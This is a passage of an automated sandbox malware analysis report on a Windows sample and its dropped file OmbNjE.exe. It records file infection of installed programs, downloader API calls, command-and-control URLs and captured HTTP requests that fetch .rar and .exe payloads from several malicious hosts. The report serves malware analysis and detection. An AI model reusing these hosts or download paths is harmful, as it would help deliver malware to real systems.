00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wct425E.tmp.12.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F929E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00F929E2
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_00410160
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	7_2_0040F730
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	7_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F92B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00F92B8C

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://fuyt.org/fhsgtsspen6/get.php

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 799

Source: global traffic

TCP traffic: 192.168.2.6:49710 -> 44.221.84.105:799

Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F91099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

1_2_00F91099

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k3.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k4.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k5.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zerit.top
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3315965856.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316464254.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316630398.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: zerit.top
Source: global traffic	DNS traffic detected: DNS query: fuyt.org

Source: OmbNjE.exe, 00000001.00000003.2093605325.00000000005D0000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2175015307.0000000000F93000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 0000000B.00000003.2183215679.0000000000C00000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236779554.0000000000FE3000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 00000012.00000003.2292826047.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000012.00000002.2299386178.0000000000283000.00000002.00000001.01000000.00000004.sdmp, OmbNjE.exe, 00000017.00000003.2373291350.0000000000D30000.00000004.00001000.00020000.00000000.sdmp, OmbNjE.exe, 00000017.00000002.2377617963.00000000006F3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000061E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar#
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar.
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rara
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarm
Source: OmbNjE.exe, 00000001.00000003.2110497969.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarp
Source: OmbNjE.exe, 00000001.00000002.2173933095.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 00000001.00000002.2174835470.0000000000E3A000.00000004.00000010.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar%
Source: OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar/
Source: OmbNjE.exe, 00000001.00000002.2173933095.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar3
Source: OmbNjE.exe, 00000001.00000002.2174835470.0000000000E3A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarA
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarD
Source: OmbNjE.exe, 0000000B.00000003.2206689096.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarDC:
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarK
Source: OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarR
Source: OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarW
Source: OmbNjE.exe, 0000000B.00000003.2206689096.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarjava
Source: OmbNjE.exe, 00000001.00000002.2174835470.0000000000E3A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarp
Source: OmbNjE.exe, 00000001.00000002.2173933095.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rars
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarj
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarg
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarC
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarV
Source: OmbNjE.exe, 0000000B.00000002.2236324818.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarsC:
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/fhsgtsspen6/get.php
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true&V
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=truehWJJ
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.000000000089C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/fhsgtsspen6/get.phpm
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3339634131.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run7I
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3350547056.0000000000959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mv
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3315787819.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316080436.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316218312.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316281207.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316391192.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316464254.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316531301.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000003.3316630398.0000000003460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
